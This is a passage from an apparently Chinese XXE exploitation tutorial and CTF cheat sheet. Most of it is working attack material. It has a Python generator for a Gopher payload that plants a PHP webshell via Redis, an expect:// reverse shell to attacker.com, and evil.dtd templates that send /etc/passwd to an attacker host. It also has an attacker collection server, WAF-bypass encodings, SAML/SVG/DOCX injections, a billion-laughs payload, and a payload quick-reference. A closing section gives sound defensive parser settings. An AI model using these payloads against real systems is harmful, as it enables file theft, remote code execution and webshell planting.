<!-- gopher:// 可以发送原始 TCP 数据,用于攻击 Redis/Memcached/FastCGI 等 -->

9.3 Gopher 协议利用

Gopher 协议语法:
  gopher://host:port/_{data}
  其中 {data} 是 URL 编码的 TCP 数据流

利用场景:
  Redis 写入 WebShell
  Memcached 注入
  FastCGI 执行 PHP
  MySQL 认证绕过(某些版本)
  SMTP 发送邮件
# 生成 Redis 写 WebShell 的 Gopher Payload
import urllib.parse

redis_cmds = [
    "*3\r\n$3\r\nset\r\n$4\r\ntest\r\n$31\r\n\n\n<?php system($_GET[cmd]);?>\n\n\r\n",
    "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n",
    "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n",
    "*1\r\n$4\r\nsave\r\n"
]

data = "".join(redis_cmds)
encoded = urllib.parse.quote(data, safe='')
gopher_url = f"gopher://127.0.0.1:6379/_{encoded}"
print(gopher_url)

十、XXE 转 RCE

10.1 通过 expect:// 直接 RCE(PHP)

<!-- PHP 安装了 expect 扩展时,expect:// 协议可以直接执行命令 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY cmd SYSTEM "expect://id">
]>
<foo><result>&cmd;</result></foo>
<!-- 若服务器回显:uid=33(www-data)... 则直接 RCE! -->

<!-- 反弹 Shell -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY cmd SYSTEM "expect://bash -c 'bash -i >%26 /dev/tcp/attacker.com/4444 0>%261'">
]>
<foo>&cmd;</foo>
<!-- 注意:& 需要转义为 %26,防止 URI 解析错误 -->

10.2 通过 SSRF 触发 RCE

<!-- ══ FastCGI + Gopher → PHP 执行 ══ -->
<!-- 通过 XXE → Gopher → FastCGI,远程执行 PHP -->

<!-- Gopher 发送 FastCGI 数据包(需要生成工具) -->
<!-- 工具:Gopherus -->

<!-- ══ SSRF → 内网 Web Shell ══ -->
<!-- 若内网有可访问的 Shell 或命令执行接口 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/shell?cmd=id">
]>
<foo>&xxe;</foo>

<!-- ══ 通过 XXE + LFI 间接 RCE ══ -->
<!-- 1. XXE 读取 Session 文件路径 -->
<!-- 2. 向 Session 注入 PHP 代码 -->
<!-- 3. 通过 LFI 包含 Session 文件执行 -->

10.3 XXE + XSLT 执行代码

<!-- 某些 XSLT 处理器支持扩展函数,可执行系统命令 -->

<!-- Xalan-Java 的 XSLT:-->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
  xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
  <xsl:variable name="rtObj" select="rt:getRuntime()"/>
  <xsl:variable name="process" select="rt:exec($rtObj, 'id')"/>
  <xsl:value-of select="ob:toString($process)"/>
</xsl:template>
</xsl:stylesheet>

十一、各语言与框架特殊利用

11.1 SAML XXE(SSO 场景)

SAML(Security Assertion Markup Language)基于 XML,
用于 SSO 认证,是 XXE 的高价值攻击面。

利用场景:
  - 企业 SSO 登录接口
  - SAML Response 未经安全解析
  - SP 接收 IdP 返回的 SAML Assertion

注入点:
  SAMLResponse(Base64 编码后的 XML)
  SAMLRequest

攻击步骤:
  1. 拦截正常的 SAML 流量
  2. Base64 解码 SAMLResponse
  3. 在 XML 中注入 XXE Payload
  4. 重新 Base64 编码后提交
<!-- 注入了 XXE 的 SAML XML -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE samlp:AuthnRequest [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
  ID="_..." Version="2.0" ...>
  <saml:Issuer>&xxe;</saml:Issuer>
</samlp:AuthnRequest>

11.2 SVG 文件 XXE

<!-- SVG 本质是 XML,上传 SVG 时可能触发 XXE -->
<!-- 常见场景:头像上传、图片转换服务 -->

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- 若服务器处理 SVG(如转换为 PNG),XXE 被触发 -->

11.3 Office 文档 XXE(OOXML)

DOCX / XLSX / PPTX 本质是 ZIP 压缩包,内含 XML 文件。
在 XML 文件中注入 XXE Payload,上传后触发。

DOCX 结构:
  word/document.xml   ← 注入点
  [Content_Types].xml
  _rels/.rels

利用步骤:
  1. 解压 .docx 文件:unzip file.docx -d docx/
  2. 编辑 word/document.xml,注入 XXE
  3. 重新打包:cd docx && zip -r ../evil.docx .
  4. 上传 evil.docx
<!-- word/document.xml 中注入 XXE -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." xmlns:w="...">
  <w:body>
    <w:p>
      <w:r>
        <w:t>&xxe;</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>

11.4 Java 特殊协议

<!-- ══ jar:// 协议(Java)══ -->
<!-- jar:// 会下载远程 JAR 文件,在下载过程中保持连接
     可用于:端口探测(通过响应时间差异)、DoS -->

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "jar:http://attacker.com:8888/evil.jar!/test">
]>
<foo>&xxe;</foo>
<!-- Java 解析器会:
     1. 向 attacker.com:8888 发起 HTTP 请求
     2. 下载 jar 文件(可以通过流量分析获取内网信息)
     3. 尝试打开 jar 内的 test 文件 -->

<!-- ══ netdoc:// 协议(Java)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "netdoc:///etc/passwd">
]>
<foo>&xxe;</foo>

<!-- ══ 利用 file:// 读取 UNC 路径(Windows + Java)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:////attacker.com/share/test">
]>
<foo>&xxe;</foo>
<!-- Windows 服务器会发起 NTLM 认证到攻击者,可捕获 NetNTLMv2 哈希 -->

11.5 Python lxml 特殊行为

# lxml 支持自定义 URI 解析器,可以监控所有实体加载
from lxml import etree

class XXELogger(etree.Resolver):
    def resolve(self, url, id, context):
        print(f"[XXE Attempt] URL: {url}")
        return self.resolve_string(b"logged", context)

parser = etree.XMLParser(load_dtd=True)
parser.resolvers.add(XXELogger())
# 可用于检测 XXE 攻击

十二、文件读取技巧

12.1 读取包含特殊字符的文件

<!-- 直接读取 PHP 文件时,<? 等字符会破坏 XML 结构 -->
<!-- 方案一:使用 CDATA 包裹(需通过外部 DTD)-->

<!-- 在外部 DTD 中定义(evil.dtd)-->
<!ENTITY % file SYSTEM "file:///var/www/html/config.php">
<!ENTITY % start "<!ENTITY wrapper '<![CDATA['>">
<!ENTITY % end "<!ENTITY wrapper2 ']]>'>">
<!-- 尝试:在节点内输出 CDATA 包裹后的文件内容 -->
<!-- 注:XML 规范中 CDATA 不能通过实体嵌套构建,需要解析器具体实现支持 -->

<!-- 方案二:用 PHP 流 Base64 编码 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>
<!-- 返回 Base64 字符串,解码后得到源码 -->

<!-- 方案三:用 Java 的 UTF-8 编码容错读取 -->

12.2 目录枚举

<!-- 某些解析器支持读取目录列表 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/">
]>
<foo>&xxe;</foo>
<!-- 部分 Java 实现会返回目录列表 -->

<!-- PHP 中使用 glob:// -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./">
]>
<foo>&xxe;</foo>
<!-- 配合 glob 可枚举文件 -->

12.3 读取二进制文件

<!-- 直接读取二进制文件(如 .class / 可执行文件)可能破坏 XML -->
<!-- 使用 Base64 编码后再读取 -->

<!-- PHP 环境 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/usr/local/bin/app">
]>
<foo>&xxe;</foo>

<!-- Java 环境读取 WEB-INF/classes/xxx.class -->
<!-- 使用带外传输(Base64 后通过 HTTP/DNS 发出)-->

<!-- Blind XXE 读取二进制(DTD)-->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/WEB-INF/web.xml">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/b64?d=%file;'>">
%eval;

十三、编码与格式绕过

13.1 XML 编码声明绕过

<!-- 修改 XML 编码声明,某些 WAF 按 UTF-8 解析但解析器使用声明的编码 -->

<!-- UTF-16 编码的 XML -->
<?xml version="1.0" encoding="UTF-16"?>
<!-- 整个文档用 UTF-16 编码发送(BOM: FF FE 或 FE FF)-->
<!-- WAF 可能无法正确解析 UTF-16 -->

<!-- UTF-16BE 编码 -->
<?xml version="1.0" encoding="UTF-16BE"?>

<!-- IBM/Shift-JIS 等多字节编码 -->
<?xml version="1.0" encoding="GBK"?>
<!-- 利用多字节字符吞掉 WAF 检测的单字节关键词 -->

<!-- Python 生成 UTF-16 编码的 XXE Payload -->
import io

payload = '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>'''

# 编码为 UTF-16(带 BOM)
encoded = payload.encode('utf-16')

# 写入文件或直接发送
with open('payload_utf16.xml', 'wb') as f:
    f.write(encoded)
print(f"Payload size: {len(encoded)} bytes")

13.2 字符实体编码绕过

<!-- 使用字符实体编码关键字符,绕过基于字符串的 WAF -->

<!-- % 的字符实体 → &#x25; 或 &#37; -->
<!-- 在 DTD 定义中嵌套参数实体时使用 -->
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">

<!-- SYSTEM 关键字编码(通常无效,但可试) -->
<!-- XML 规范中 DOCTYPE 关键字不支持实体引用 -->
<!-- 但属性值中可以使用字符实体 -->

<!-- 关键字变体(空格/换行) -->
<!DOCTYPE   foo  [   <!-- 多余空格 -->
  <!  ENTITY xxe SYSTEM "file:///etc/passwd">   <!-- 标签内空格 -->
]>
<!-- 某些解析器允许,但 WAF 可能按严格格式匹配 -->

13.3 大小写与空白变体

<!-- XML 关键字的大小写(XML 标准中 DOCTYPE、SYSTEM 等是大小写敏感的)-->
<!-- 但某些非标准解析器可能不区分大小写 -->

<!DOCTYPE foo [
  <!entity xxe system "file:///etc/passwd">   <!-- 小写 entity/system -->
]>
<!-- 注:标准 XML 解析器要求大写,但部分实现可能宽松处理 -->

<!-- 换行符替代空格 -->
<!DOCTYPE
foo
[<!ENTITY
xxe
SYSTEM
"file:///etc/passwd">]>

<!-- 制表符替代空格 -->
<!DOCTYPE	foo	[<!ENTITY	xxe	SYSTEM	"file:///etc/passwd">]>

13.4 URL 编码绕过

<!-- 对 SYSTEM 后的 URL 进行编码 -->
<!ENTITY xxe SYSTEM "file:///etc%2fpasswd">
<!-- %2f = /,某些解析器会自动 URL 解码 -->

<!ENTITY xxe SYSTEM "file:///etc%2Fpasswd">
<!-- 大写编码 -->

<!-- 双重编码 -->
<!ENTITY xxe SYSTEM "file:///etc%252fpasswd">
<!-- %25 = %,双重解码后得到 / -->

<!-- Unicode 编码(URL 中) -->
<!ENTITY xxe SYSTEM "file:///etc%u002fpasswd">
<!-- %u002f 是 IIS 的 Unicode 编码(/ 的 Unicode 码点)-->

十四、协议与实体绕过

14.1 协议变体绕过

<!-- ══ 不同的 file:// 写法 ══ -->
file:///etc/passwd
file://localhost/etc/passwd
file://127.0.0.1/etc/passwd
file:////etc/passwd    <!-- 某些系统支持 -->

<!-- ══ http:// SSRF 变体 ══ -->
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/         <!-- IPv6 回环 -->
http://0177.0.0.1/    <!-- 八进制 IP:177 = 127 -->
http://2130706433/    <!-- 十进制 IP:2130706433 = 127.0.0.1 -->
http://0x7f000001/    <!-- 十六进制 IP:0x7f000001 = 127.0.0.1 -->
http://127.1/         <!-- 缩写 IP -->
http://127.0.1/       <!-- 部分省略 -->

<!-- ══ PHP 协议(PHP 环境)══ -->
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
php://input                       <!-- 读取 POST 数据 -->
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
expect://id                       <!-- 命令执行 -->

14.2 实体名称混淆

<!-- 使用不同的实体名称避免关键字检测 -->
<!-- WAF 可能只检测 &xxe; 或 <!ENTITY xxe,但不检测其他名称 -->

<!ENTITY _ SYSTEM "file:///etc/passwd">
<foo>&_;</foo>

<!ENTITY a1b2c3 SYSTEM "file:///etc/passwd">
<foo>&a1b2c3;</foo>

<!-- 使用数字开头的名称(某些解析器支持,XML 规范中名称不能以数字开头)-->
<!-- <!ENTITY 1xxe SYSTEM "...">  不合规但某些解析器接受 -->

<!-- Unicode 实体名称 -->
<!ENTITY étude SYSTEM "file:///etc/passwd">
<foo>&étude;</foo>

14.3 绕过 SYSTEM 关键字过滤

<!-- 若 WAF 过滤了 SYSTEM 关键字,使用 PUBLIC 替代 -->
<!ENTITY xxe PUBLIC "any-string" "file:///etc/passwd">
<foo>&xxe;</foo>
<!-- PUBLIC 需要两个参数:公共标识符(任意字符串)和系统标识符(URI)-->

<!-- 参数实体 + PUBLIC -->
<!ENTITY % xxe PUBLIC "id" "http://attacker.com/evil.dtd">
%xxe;

<!-- 绕过对 // 的过滤(file:// 中的双斜杠)-->
file:/etc/passwd        <!-- 某些系统支持单斜杠 -->
file:////etc/passwd     <!-- 四斜杠 -->

14.4 分块传输与格式变体

<!-- HTTP 分块传输绕过基于内容长度的检测 -->
POST /api/parse HTTP/1.1
Transfer-Encoding: chunked
Content-Type: application/xml

1a
<?xml version="1.0"?>
1b
<!DOCTYPE foo [<!ENTITY
15
xxe SYSTEM "file:
12
///etc/passwd">]>
c
<foo>&xxe;</foo>
0

十五、Content-Type 绕过

15.1 修改 Content-Type 触发 XML 解析

<!-- 原始请求(JSON 格式)-->
POST /api/user HTTP/1.1
Content-Type: application/json

{"username": "alice", "action": "login"}

<!-- ══ 方法一:直接改为 XML ══ -->
POST /api/user HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
  <username>&xxe;</username>
  <action>login</action>
</root>
<!-- 若服务器同时接受 XML,可能触发 XXE -->

<!-- ══ 方法二:Content-Type 变体 ══ -->
Content-Type: text/xml
Content-Type: application/xhtml+xml
Content-Type: application/rss+xml
Content-Type: image/svg+xml           <!-- SVG 场景 -->
Content-Type: application/atom+xml
Content-Type: application/soap+xml    <!-- SOAP 场景 -->
Content-Type: application/x-www-form-urlencoded  <!-- 某些框架会转换 -->

<!-- ══ 方法三:参数中混入 XML ══ -->
<!-- 若服务器对某个参数的值进行 XML 解析 -->
POST /api/user HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C...%3E   <!-- URL 编码的 XML -->

15.2 JSON 中嵌入 XXE

{
  "data": "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
  "parse_xml": true
}
<!-- 若后端对 JSON 中的某个字段进行 XML 解析 -->
<!-- 需要找到应用中"解析 XML 字段"的代码路径 -->

15.3 SOAP 接口注入

<!-- SOAP 本身就是 XML,是 XXE 的天然攻击面 -->
POST /webservice HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:action"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUser>
      <username>&xxe;</username>
    </GetUser>
  </soap:Body>
</soap:Envelope>

十六、CTF 实战思路

16.1 XXE 检测与识别流程

发现 XML 接口
    │
    ├── 是否接受 XML 格式输入?
    │   ├── Content-Type: application/xml
    │   ├── 请求体包含 XML 结构
    │   ├── 接受 SVG / DOCX / XLSX 上传
    │   └── SOAP / XML-RPC / SAML 接口
    │
    ↓
基础探测(有回显)
    ├── 注入 <!DOCTYPE foo [<!ENTITY xxe "test">]><foo>&xxe;</foo>
    │   若响应中出现 "test",证明实体被解析
    └── 注入 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
        若响应包含 passwd 内容,确认有回显 XXE
    │
    ↓
无回显检测
    ├── 注入 <!ENTITY xxe SYSTEM "http://dnslog.cn/x.x">
    │   DNSlog 收到请求 → 确认 Blind XXE
    └── 若有报错 → 尝试报错型 XXE
    │
    ↓
利用阶段
    ├── 有回显:直接读取敏感文件
    ├── 无回显:构造外部 DTD + HTTP/DNS 带外
    └── 报错型:构造非法 URI 触发报错泄露

16.2 各场景快速 Payload

<!-- ══ 场景一:确认是否有 XXE(有回显)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test "XXE_TEST">]>
<foo>&test;</foo>
<!-- 响应中出现 XXE_TEST → 实体被解析 -->

<!-- ══ 场景二:读取文件(有回显)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY f SYSTEM "file:///etc/passwd">]>
<foo><data>&f;</data></foo>

<!-- ══ 场景三:PHP 源码读取(有回显)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY f SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<foo>&f;</foo>

<!-- ══ 场景四:Blind XXE 探测(DNS)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://your.burpcollaborator.net/">]>
<foo>&xxe;</foo>

<!-- ══ 场景五:Blind XXE 文件读取(外部 DTD + HTTP OOB)══ -->
<!-- 发送到服务器的 XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>&exfil;</foo>

<!-- evil.dtd(放在攻击者服务器)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/collect?d=%file;'>">
%eval;

<!-- ══ 场景六:PHP 环境 Blind XXE + Base64 ══ -->
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/collect?d=%file;'>">
%eval;

<!-- ══ 场景七:报错型 XXE ══ -->
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

<!-- ══ 场景八:XInclude 注入 ══ -->
<!-- 当无法控制 DOCTYPE 时 -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</foo>

<!-- ══ 场景九:SVG XXE ══ -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

<!-- ══ 场景十:SSRF + 内网探测 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://192.168.1.1:80/">]>
<foo>&xxe;</foo>

16.3 攻击者服务器搭建

#!/usr/bin/env python3
# 简易 HTTP 服务器:提供 evil.dtd + 接收带外数据

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import os, base64

class XXEServer(BaseHTTPRequestHandler):

    def do_GET(self):
        parsed = urlparse(self.path)

        # ── 提供 evil.dtd ──
        if parsed.path == '/evil.dtd':
            dtd_content = b'''<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:8080/collect?d=%file;'>">
%eval;'''
            self.send_response(200)
            self.send_header('Content-Type', 'text/xml')
            self.end_headers()
            self.wfile.write(dtd_content)

        # ── 接收带外数据 ──
        elif parsed.path == '/collect':
            params = parse_qs(parsed.query)
            if 'd' in params:
                data = params['d'][0]
                print(f"\n[!] Received data:")
                print(data)
                # 尝试 Base64 解码
                try:
                    decoded = base64.b64decode(data).decode('utf-8', errors='replace')
                    print(f"[!] Decoded:\n{decoded}")
                except:
                    pass
            self.send_response(200)
            self.end_headers()

        # ── 其他请求记录 ──
        else:
            print(f"[*] Request: {self.path}")
            self.send_response(200)
            self.end_headers()

    def log_message(self, format, *args):
        pass  # 静默默认日志

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 8080), XXEServer)
    print("[*] XXE Server listening on :8080")
    server.serve_forever()

16.4 常见 CTF 题型

题型一:有回显 XXE 读取 flag 文件
  → 直接用 file:// 读取 /flag 或 /flag.txt

题型二:PHP 源码审计 + XXE
  → 用 php://filter 读取关键源码,发现其他漏洞

题型三:Blind XXE + DNSlog
  → 构造外部 DTD,通过 DNS/HTTP OOB 带外数据

题型四:XXE 转 SSRF 访问内网
  → 通过 http:// 访问内网服务,如 127.0.0.1:8080/admin

题型五:SVG/DOCX 上传 XXE
  → 构造恶意 SVG 或 DOCX 上传

题型六:报错型 XXE
  → 通过错误信息读取文件内容

题型七:SAML XXE
  → 拦截 SAMLResponse,注入 XXE,重新 Base64 编码提交

题型八:XInclude 注入
  → 无法控制 DOCTYPE,但可以在 XML 内容中注入 XInclude

重点关注:
  - Content-Type 是否可以改为 text/xml
  - 参数中是否有 XML 格式的值
  - 上传功能是否接受 SVG/XML/DOCX
  - 是否有 SOAP 接口

十七、防御措施

17.1 禁用外部实体(核心防御)

<?php
// PHP 7.x 禁用外部实体
libxml_disable_entity_loader(true);   // PHP 8.0 中已默认禁用且函数被移除

// PHP 8.0+ 的正确做法(设置解析选项)
$dom = new DOMDocument();
// PHP 8 中 DOMDocument::loadXML 默认不加载外部实体
// 显式配置(推荐)
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);
// LIBXML_NONET:禁止网络访问
// 注意:LIBXML_NOENT 替换实体但不加载外部实体(在PHP 8中)

// 更安全:先检查 XML 是否含有 DOCTYPE
if (strpos($xml, '<!DOCTYPE') !== false) {
    throw new Exception('DOCTYPE not allowed');
}
// Java 完整安全配置
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// 禁用 DOCTYPE 声明(最彻底)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// 或者,若需要 DTD 但禁止外部实体:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

// SAXParser 安全配置
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// XMLInputFactory (StAX) 安全配置
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
# Python 安全配置

# 方案一:使用 defusedxml 库(推荐)
import defusedxml.ElementTree as ET
tree = ET.parse('file.xml')           # 安全!

# 方案二:lxml 安全配置
from lxml import etree
parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    load_dtd=False,
    dtd_validation=False
)
tree = etree.fromstring(xml_bytes, parser)

# 方案三:PyYAML 安全配置
import yaml
data = yaml.safe_load(yaml_string)    # 代替 yaml.load()

17.2 输入验证

import re

def validate_xml_input(xml_string: str) -> bool:
    """
    在解析前对 XML 进行基础安全检查
    """
    # 检查是否含有 DOCTYPE(可能包含外部实体声明)
    if re.search(r'<!DOCTYPE', xml_string, re.IGNORECASE):
        return False

    # 检查是否含有外部实体声明
    if re.search(r'<!ENTITY\s+\S+\s+SYSTEM', xml_string, re.IGNORECASE):
        return False
    if re.search(r'<!ENTITY\s+\S+\s+PUBLIC', xml_string, re.IGNORECASE):
        return False

    # 检查参数实体声明
    if re.search(r'<!ENTITY\s+%', xml_string, re.IGNORECASE):
        return False

    # 检查 XInclude
    if 'xi:include' in xml_string or 'XInclude' in xml_string:
        return False

    return True

17.3 替代方案

# 若应用场景允许,优先使用 JSON 代替 XML

# JSON 不支持实体引用,天然避免 XXE
import json
data = json.loads(request.body)   # 安全

# 若必须使用 XML:
# 1. 禁用 DOCTYPE 和外部实体
# 2. 使用白名单验证 XML 结构
# 3. 在沙箱环境中解析
# 4. 设置网络访问超时和访问控制

# 防御 XInclude:
# 禁用 XInclude 处理
dbf.setXIncludeAware(false);   # Java
parser = etree.XMLParser(huge_tree=False)  # lxml

17.4 防御检查清单

核心防御(必须):
  ✅ 禁用 XML 解析器的外部实体加载功能
  ✅ 禁用参数实体处理
  ✅ 禁用或限制 DOCTYPE 声明
  ✅ 升级到支持安全默认值的解析器版本

输入处理:
  ✅ 解析前检查 XML 是否含有 DOCTYPE / ENTITY 关键字
  ✅ 使用 XML Schema 或 DTD 白名单验证输入结构
  ✅ 对用户上传的文件(SVG/DOCX/XLSX)进行 XML 安全检查

架构层面:
  ✅ XML 解析服务以最小权限运行
  ✅ 限制解析器的文件系统访问范围(chroot / 容器隔离)
  ✅ 禁止解析服务器对外发起网络请求(出站防火墙)
  ✅ 监控异常的文件访问和外部网络请求

依赖管理:
  ✅ 使用 defusedxml(Python)/ 安全的解析器
  ✅ 保持 XML 解析库版本最新
  ✅ 使用 SCA 工具扫描 XML 处理相关的已知 CVE

特殊场景:
  ✅ SAML SSO 实现使用安全的 XML 解析配置
  ✅ 文件上传(SVG/Office)前进行 XML 安全检查或重新渲染
  ✅ SOAP 接口启用 WS-Security 并限制 DOCTYPE

附录

A. XXE Payload 速查表

<!-- 有回显:读取 Linux 文件 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "file:///etc/passwd">]><f>&x;</f>

<!-- 有回显:PHP 源码读取 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><f>&x;</f>

<!-- 有回显:RCE(expect 扩展)-->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "expect://id">]><f>&x;</f>

<!-- 有回显:Windows 文件 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "file:///c:/windows/win.ini">]><f>&x;</f>

<!-- Blind:DNS 探测 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "http://DNSLOG/">]><f>&x;</f>

<!-- Blind:外部 DTD 带外 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY % d SYSTEM "http://ATTACKER/evil.dtd">%d;]><f>&e;</f>

<!-- XInclude -->
<f xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd" parse="text"/></f>

<!-- SVG -->
<?xml version="1.0" standalone="yes"?><!DOCTYPE f[<!ENTITY x SYSTEM "file:///etc/passwd">]><svg xmlns="http://www.w3.org/2000/svg"><text>&x;</text></svg>

<!-- DoS(十亿笑脸)-->
<?xml version="1.0"?><!DOCTYPE l[<!ENTITY a "a"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"><!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">]><l>&d;</l>

B. evil.dtd 模板汇总

<!-- 模板一:HTTP 带外(通用)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://ATTACKER/collect?d=%file;'>">
%eval;

<!-- 模板二:HTTP 带外(PHP Base64)-->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://ATTACKER/collect?d=%file;'>">
%eval;

<!-- 模板三:仅参数实体(无需通用实体)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER/collect?d=%file;'>">
%eval;
%exfil;

<!-- 模板四:报错型 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;

<!-- 模板五:FTP 带外(多行数据)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'ftp://ATTACKER:2121/%file;'>">
%eval;

C. 常用测试协议与路径

协议 用途 环境 示例
file:// 本地文件读取 通用 file:///etc/passwd
http:// SSRF / 带外 通用 http://attacker.com/
https:// SSRF(HTTPS) 通用 https://internal-api/
ftp:// FTP 带外(多行) 通用 ftp://attacker.com:21/
